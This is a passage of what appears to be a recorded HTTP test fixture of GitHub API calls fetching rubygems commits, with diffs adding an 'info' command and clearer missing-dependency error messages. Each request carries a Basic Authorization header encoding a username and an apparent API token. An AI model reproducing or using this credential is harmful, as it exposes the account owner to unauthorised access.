ZvX2NvbW1hbmQucmI/cmVmPWVhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUiLCJwYXRjaCI6IkBAIC0wLDAgKzEsNDQgQEBcbisjIGZyb3plbl9zdHJpbmdfbGl0ZXJhbDogdHJ1ZVxuK3JlcXVpcmUgJ3J1YnlnZW1zL3Rlc3RfY2FzZSdcbityZXF1aXJlICdydWJ5Z2Vtcy9jb21tYW5kcy9pbmZvX2NvbW1hbmQnXG4rXG4rY2xhc3MgVGVzdEdlbUNvbW1hbmRzSW5mb0NvbW1hbmQgPCBHZW06OlRlc3RDYXNlXG4rXG4rICBkZWYgc2V0dXBcbisgICAgc3VwZXJcbitcbisgICAgQGNtZCA9IEdlbTo6Q29tbWFuZHM6OkluZm9Db21tYW5kLm5ld1xuKyAgZW5kXG4rXG4rICBkZWYgZ2VtKG5hbWUsIHZlcnNpb24gPSBcIjEuMFwiKVxuKyAgICBzcGVjID0gcXVpY2tfZ2VtIG5hbWUgZG8gfGdlbXxcbisgICAgICBnZW0uc3VtbWFyeSA9IFwidGVzdCBnZW1cIlxuKyAgICAgIGdlbS5ob21lcGFnZSA9IFwiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zXCJcbisgICAgICBnZW0uZmlsZXMgPSAlV1tsaWIvI3tuYW1lfS5yYiBSYWtlZmlsZV1cbisgICAgICBnZW0uYXV0aG9ycyA9IFtcIkNvbGJ5XCIsIFwiSmFja1wiXVxuKyAgICAgIGdlbS5saWNlbnNlID0gXCJNSVRcIlxuKyAgICAgIGdlbS52ZXJzaW9uID0gdmVyc2lvblxuKyAgICBlbmRcbisgICAgd3JpdGVfZmlsZSBGaWxlLmpvaW4oKiVXW2dlbXMgI3tzcGVjLmZ1bGxfbmFtZX0gbGliICN7bmFtZX0ucmJdKVxuKyAgICB3cml0ZV9maWxlIEZpbGUuam9pbigqJVdbZ2VtcyAje3NwZWMuZnVsbF9uYW1lfSBSYWtlZmlsZV0pXG4rICAgIHNwZWNcbisgIGVuZFxuK1xuKyAgZGVmIHRlc3RfZXhlY3V0ZVxuKyAgICBAZ2VtID0gZ2VtIFwiZm9vXCIsIFwiMS4wLjBcIlxuK1xuKyAgICBAY21kLmhhbmRsZV9vcHRpb25zICV3W2Zvb11cbitcbisgICAgdXNlX3VpIEB1aSBkb1xuKyAgICAgIEBjbWQuZXhlY3V0ZVxuKyAgICBlbmRcbitcbisgICAgYXNzZXJ0X21hdGNoICVyJSN7QGdlbS5uYW1lfSBcXCgje0BnZW0udmVyc2lvbn1cXClcXG4lLCBAdWkub3V0cHV0XG4rICAgIGFzc2VydF9tYXRjaCAlciVBdXRob3JzOiAje0BnZW0uYXV0aG9ycy5qb2luKCcsICcpfVxcbiUsIEB1aS5vdXRwdXRcbisgICAgYXNzZXJ0X21hdGNoICVyJUhvbWVwYWdlOiAje0BnZW0uaG9tZXBhZ2V9XFxuJSwgQHVpLm91dHB1dFxuKyAgICBhc3NlcnRfbWF0Y2ggJXIlTGljZW5zZTogI3tAZ2VtLmxpY2Vuc2V9XFxuJSwgQHVpLm91dHB1dFxuKyAgICBhc3NlcnRfbWF0Y2ggJXIlSW5zdGFsbGVkIGF0OiAje0BnZW0uYmFzZV9kaXJ9XFxuJSwgQHVpLm91dHB1dFxuKyAgICBhc3NlcnRfbWF0Y2ggJXIlI3tAZ2VtLnN1bW1hcnl9XFxuJSwgQHVpLm91dHB1dFxuKyAgICBhc3NlcnRfbWF0Y2ggXCJcIiwgQHVpLmVycm9yXG4rICBlbmRcbitlbmQifV19 http_version: recorded_at: Sat, 06 Jan 2018 14:59:44 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/eb8e153fa14518bcfd8a5948966ac3f4231d7733 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4563' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"aa0f773268045073d025f84792a6c9b6" Last-Modified: - Wed, 20 Dec 2017 08:57:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.051222' X-Github-Request-Id: - A1C8:4D95:F47AF8:1C83105:5A50E460 body: encoding: ASCII-8BIT string: '{"sha":"eb8e153fa14518bcfd8a5948966ac3f4231d7733","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-20T08:57:39Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-20T08:57:39Z"},"message":"Auto merge of #2067 - akhramov:feature/show-dependent-gem-of-missing-gem, r=duckinator\n\nShow which gem referenced a missing gem\n\n# Description:\nIf gem''s dependency is missing, the output just shows the missing gem,\nleaving the dependent gem obscure. (#2039)\n\nThis change adds the dependent gem to the output message.\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"f4de8613cc32dbd8b51a4e03cacd510cf6f0d1ce","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f4de8613cc32dbd8b51a4e03cacd510cf6f0d1ce"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/eb8e153fa14518bcfd8a5948966ac3f4231d7733","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/eb8e153fa14518bcfd8a5948966ac3f4231d7733","html_url":"https://github.com/rubygems/rubygems/commit/eb8e153fa14518bcfd8a5948966ac3f4231d7733","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/eb8e153fa14518bcfd8a5948966ac3f4231d7733/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a18b82f839da145fea255799c7f5caec5d3fbf5","url":"https://api.github.com/repos/rubygems/rubygems/commits/9a18b82f839da145fea255799c7f5caec5d3fbf5","html_url":"https://github.com/rubygems/rubygems/commit/9a18b82f839da145fea255799c7f5caec5d3fbf5"},{"sha":"b19fb57716fc8d4e19f10ba9e514ba55d713a04c","url":"https://api.github.com/repos/rubygems/rubygems/commits/b19fb57716fc8d4e19f10ba9e514ba55d713a04c","html_url":"https://github.com/rubygems/rubygems/commit/b19fb57716fc8d4e19f10ba9e514ba55d713a04c"}],"stats":{"total":50,"additions":42,"deletions":8},"files":[{"sha":"3926048e5c593d1c5d26fcb2ca288074fd6fb7c4","filename":"lib/rubygems/command.rb","status":"modified","additions":12,"deletions":4,"changes":16,"blob_url":"https://github.com/rubygems/rubygems/blob/eb8e153fa14518bcfd8a5948966ac3f4231d7733/lib/rubygems/command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/eb8e153fa14518bcfd8a5948966ac3f4231d7733/lib/rubygems/command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command.rb?ref=eb8e153fa14518bcfd8a5948966ac3f4231d7733","patch":"@@ -152,15 +152,23 @@ def execute\n #--\n # TODO: replace +domain+ with a parameter to suppress suggestions\n \n- def show_lookup_failure(gem_name, version, errors, domain)\n+ def show_lookup_failure(gem_name, version, errors, domain, required_by = nil)\n+ gem = \"''#{gem_name}'' (#{version})\"\n+ msg = String.new \"Could not find a valid gem #{gem}\"\n+\n if errors and !errors.empty?\n- msg = \"Could not find a valid gem ''#{gem_name}'' (#{version}), here is why:\\n\".dup\n+ msg << \", here is why:\\n\"\n errors.each { |x| msg << \" #{x.wordy}\\n\" }\n- alert_error msg\n else\n- alert_error \"Could not find a valid gem ''#{gem_name}'' (#{version}) in any repository\"\n+ if required_by and gem != required_by then\n+ msg << \" (required by #{required_by}) in any repository\"\n+ else\n+ msg << \" in any repository\"\n+ end\n end\n \n+ alert_error msg\n+\n unless domain == :local then # HACK\n suggestions = Gem::SpecFetcher.fetcher.suggest_gems_from_name gem_name\n "},{"sha":"1a9f9461aee3cdc66c151bd756f5f4c59cc27966","filename":"lib/rubygems/commands/install_command.rb","status":"modified","additions":8,"deletions":4,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/eb8e153fa14518bcfd8a5948966ac3f4231d7733/lib/rubygems/commands/install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/eb8e153fa14518bcfd8a5948966ac3f4231d7733/lib/rubygems/commands/install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/install_command.rb?ref=eb8e153fa14518bcfd8a5948966ac3f4231d7733","patch":"@@ -250,17 +250,22 @@ def install_gems # :nodoc:\n \n get_all_gem_names_and_versions.each do |gem_name, gem_version|\n gem_version ||= options[:version]\n+ domain = options[:domain]\n+ domain = :local unless options[:suggest_alternate]\n \n begin\n install_gem gem_name, gem_version\n rescue Gem::InstallError => e\n alert_error \"Error installing #{gem_name}:\\n\\t#{e.message}\"\n exit_code |= 1\n- rescue Gem::GemNotFoundException, Gem::UnsatisfiableDependencyError => e\n- domain = options[:domain]\n- domain = :local unless options[:suggest_alternate]\n+ rescue Gem::GemNotFoundException => e\n show_lookup_failure e.name, e.version, e.errors, domain\n \n+ exit_code |= 2\n+ rescue Gem::UnsatisfiableDependencyError => e\n+ show_lookup_failure e.name, e.version, e.errors, domain,\n+ \"''#{gem_name}'' (#{gem_version})\"\n+\n exit_code |= 2\n end\n end\n@@ -300,4 +305,3 @@ def show_installed # :nodoc:\n end\n \n end\n-"},{"sha":"a4540b954a6d3048dcab663b5bc65311f798cc97","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":22,"deletions":0,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/eb8e153fa14518bcfd8a5948966ac3f4231d7733/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/eb8e153fa14518bcfd8a5948966ac3f4231d7733/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=eb8e153fa14518bcfd8a5948966ac3f4231d7733","patch":"@@ -200,6 +200,28 @@ def test_execute_nonexistent\n assert_match(/ould not find a valid gem ''nonexistent''/, @ui.error)\n end\n \n+ def test_execute_dependency_nonexistent\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''foo'', 2, ''bar'' => ''0.5''\n+ end\n+\n+ @cmd.options[:args] = [''foo'']\n+\n+ use_ui @ui do\n+ e = assert_raises Gem::MockGemUi::TermError do\n+ @cmd.execute\n+ end\n+\n+ assert_equal 2, e.exit_code\n+ end\n+\n+ expected = <<-EXPECTED\n+ERROR: Could not find a valid gem ''bar'' (= 0.5) (required by ''foo'' (>= 0)) in any repository\n+ EXPECTED\n+\n+ assert_equal expected, @ui.error\n+ end\n+\n def test_execute_bad_source\n spec_fetcher\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:44 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/3a744893b42177fa44af34d88f7796daba5fe065 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4562' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7f72f1eb058999cb6dd7add9f0d83b91" Last-Modified: - Wed, 20 Dec 2017 08:52:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043496' X-Github-Request-Id: - A1CA:4D95:F47B0B:1C83125:5A50E460 body: encoding: ASCII-8BIT string: '{"sha":"3a744893b42177fa44af34d88f7796daba5fe065","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-09-28T01:27:03Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-20T08:52:54Z"},"message":"add info command to print information about an installed gem","tree":{"sha":"99025da98ae2d0ed80f4252aedb8f0bcf36c612c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/99025da98ae2d0ed80f4252aedb8f0bcf36c612c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3a744893b42177fa44af34d88f7796daba5fe065","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3a744893b42177fa44af34d88f7796daba5fe065","html_url":"https://github.com/rubygems/rubygems/commit/3a744893b42177fa44af34d88f7796daba5fe065","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3a744893b42177fa44af34d88f7796daba5fe065/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"}],"stats":{"total":80,"additions":80,"deletions":0},"files":[{"sha":"f2dad27ebec4eb33b285eddf3527e06596e8132f","filename":"Manifest.txt","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/3a744893b42177fa44af34d88f7796daba5fe065/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/3a744893b42177fa44af34d88f7796daba5fe065/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=3a744893b42177fa44af34d88f7796daba5fe065","patch":"@@ -267,6 +267,7 @@ lib/rubygems/commands/environment_command.rb\n lib/rubygems/commands/fetch_command.rb\n lib/rubygems/commands/generate_index_command.rb\n lib/rubygems/commands/help_command.rb\n+lib/rubygems/commands/info_command.rb\n lib/rubygems/commands/install_command.rb\n lib/rubygems/commands/list_command.rb\n lib/rubygems/commands/lock_command.rb\n@@ -503,6 +504,7 @@ test/rubygems/test_gem_commands_environment_command.rb\n test/rubygems/test_gem_commands_fetch_command.rb\n test/rubygems/test_gem_commands_generate_index_command.rb\n test/rubygems/test_gem_commands_help_command.rb\n+test/rubygems/test_gem_commands_info_command.rb\n test/rubygems/test_gem_commands_install_command.rb\n test/rubygems/test_gem_commands_list_command.rb\n test/rubygems/test_gem_commands_lock_command.rb"},{"sha":"e22dc5deb39da7975abde74a7a751a6ccd84f557","filename":"lib/rubygems/command_manager.rb","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/3a744893b42177fa44af34d88f7796daba5fe065/lib/rubygems/command_manager.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3a744893b42177fa44af34d88f7796daba5fe065/lib/rubygems/command_manager.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command_manager.rb?ref=3a744893b42177fa44af34d88f7796daba5fe065","patch":"@@ -45,6 +45,7 @@ class Gem::CommandManager\n :fetch,\n :generate_index,\n :help,\n+ :info,\n :install,\n :list,\n :lock,"},{"sha":"8d9611a9574dc6426e9f1af03f98a5187c1e270f","filename":"lib/rubygems/commands/info_command.rb","status":"added","additions":33,"deletions":0,"changes":33,"blob_url":"https://github.com/rubygems/rubygems/blob/3a744893b42177fa44af34d88f7796daba5fe065/lib/rubygems/commands/info_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3a744893b42177fa44af34d88f7796daba5fe065/lib/rubygems/commands/info_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/info_command.rb?ref=3a744893b42177fa44af34d88f7796daba5fe065","patch":"@@ -0,0 +1,33 @@\n+# frozen_string_literal: true\n+\n+require ''rubygems/command''\n+require ''rubygems/commands/query_command''\n+\n+class Gem::Commands::InfoCommand < Gem::Commands::QueryCommand\n+ def initialize\n+ super \"info\", \"Show information for the given gem\"\n+\n+ remove_option(''--name-matches'')\n+ remove_option(''-d'')\n+\n+ defaults[:details] = true\n+ defaults[:exact] = true\n+ end\n+\n+ def description # :nodoc:\n+ \"Info prints information about the gem such as name,\"\\\n+ \" description, website, license and installed paths\"\n+ end\n+\n+ def usage # :nodoc:\n+ \"#{program_name} GEMNAME\"\n+ end\n+\n+ def arguments # :nodoc:\n+ \"GEMNAME name of the gem to print information about\"\n+ end\n+\n+ def defaults_str\n+ \"--local\"\n+ end\n+end"},{"sha":"83b18c503653f4c8843e5bfbe6ed25120f285956","filename":"test/rubygems/test_gem_commands_info_command.rb","status":"added","additions":44,"deletions":0,"changes":44,"blob_url":"https://github.com/rubygems/rubygems/blob/3a744893b42177fa44af34d88f7796daba5fe065/test/rubygems/test_gem_commands_info_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3a744893b42177fa44af34d88f7796daba5fe065/test/rubygems/test_gem_commands_info_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_info_command.rb?ref=3a744893b42177fa44af34d88f7796daba5fe065","patch":"@@ -0,0 +1,44 @@\n+# frozen_string_literal: true\n+require ''rubygems/test_case''\n+require ''rubygems/commands/info_command''\n+\n+class TestGemCommandsInfoCommand < Gem::TestCase\n+\n+ def setup\n+ super\n+\n+ @cmd = Gem::Commands::InfoCommand.new\n+ end\n+\n+ def gem(name, version = \"1.0\")\n+ spec = quick_gem name do |gem|\n+ gem.summary = \"test gem\"\n+ gem.homepage = \"https://github.com/rubygems/rubygems\"\n+ gem.files = %W[lib/#{name}.rb Rakefile]\n+ gem.authors = [\"Colby\", \"Jack\"]\n+ gem.license = \"MIT\"\n+ gem.version = version\n+ end\n+ write_file File.join(*%W[gems #{spec.full_name} lib #{name}.rb])\n+ write_file File.join(*%W[gems #{spec.full_name} Rakefile])\n+ spec\n+ end\n+\n+ def test_execute\n+ @gem = gem \"foo\", \"1.0.0\"\n+\n+ @cmd.handle_options %w[foo]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ assert_match %r%#{@gem.name} \\(#{@gem.version}\\)\\n%, @ui.output\n+ assert_match %r%Authors: #{@gem.authors.join('', '')}\\n%, @ui.output\n+ assert_match %r%Homepage: #{@gem.homepage}\\n%, @ui.output\n+ assert_match %r%License: #{@gem.license}\\n%, @ui.output\n+ assert_match %r%Installed at: #{@gem.base_dir}\\n%, @ui.output\n+ assert_match %r%#{@gem.summary}\\n%, @ui.output\n+ assert_match \"\", @ui.error\n+ end\n+end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:44 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b19fb57716fc8d4e19f10ba9e514ba55d713a04c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4561' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"cf89557d45543f66f1258190b795792f" Last-Modified: - Wed, 20 Dec 2017 00:36:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039460' X-Github-Request-Id: - C49C:4D95:F47B0F:1C83136:5A50E460 body: encoding: ASCII-8BIT string: '{"sha":"b19fb57716fc8d4e19f10ba9e514ba55d713a04c","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-20T00:19:09Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-20T00:36:21Z"},"message":"use String instead of StringIO and cleanup a few things","tree":{"sha":"924122100b1f1d1eb9e5e20261ab04c6285b5135","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/924122100b1f1d1eb9e5e20261ab04c6285b5135"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b19fb57716fc8d4e19f10ba9e514ba55d713a04c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b19fb57716fc8d4e19f10ba9e514ba55d713a04c","html_url":"https://github.com/rubygems/rubygems/commit/b19fb57716fc8d4e19f10ba9e514ba55d713a04c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b19fb57716fc8d4e19f10ba9e514ba55d713a04c/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"e7968472c5f409ec7cca0d6ceba9ef951836ae01","url":"https://api.github.com/repos/rubygems/rubygems/commits/e7968472c5f409ec7cca0d6ceba9ef951836ae01","html_url":"https://github.com/rubygems/rubygems/commit/e7968472c5f409ec7cca0d6ceba9ef951836ae01"}],"stats":{"total":54,"additions":25,"deletions":29},"files":[{"sha":"3926048e5c593d1c5d26fcb2ca288074fd6fb7c4","filename":"lib/rubygems/command.rb","status":"modified","additions":3,"deletions":6,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/b19fb57716fc8d4e19f10ba9e514ba55d713a04c/lib/rubygems/command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b19fb57716fc8d4e19f10ba9e514ba55d713a04c/lib/rubygems/command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command.rb?ref=b19fb57716fc8d4e19f10ba9e514ba55d713a04c","patch":"@@ -154,23 +154,20 @@ def execute\n \n def show_lookup_failure(gem_name, version, errors, domain, required_by = nil)\n gem = \"''#{gem_name}'' (#{version})\"\n-\n- msg = StringIO.new \"Could not find a valid gem #{gem}\".dup, \"a+\"\n+ msg = String.new \"Could not find a valid gem #{gem}\"\n \n if errors and !errors.empty?\n msg << \", here is why:\\n\"\n errors.each { |x| msg << \" #{x.wordy}\\n\" }\n else\n- if required_by && gem != required_by then\n+ if required_by and gem != required_by then\n msg << \" (required by #{required_by}) in any repository\"\n else\n msg << \" in any repository\"\n end\n end\n \n- msg.close\n-\n- alert_error msg.string\n+ alert_error msg\n \n unless domain == :local then # HACK\n suggestions = Gem::SpecFetcher.fetcher.suggest_gems_from_name 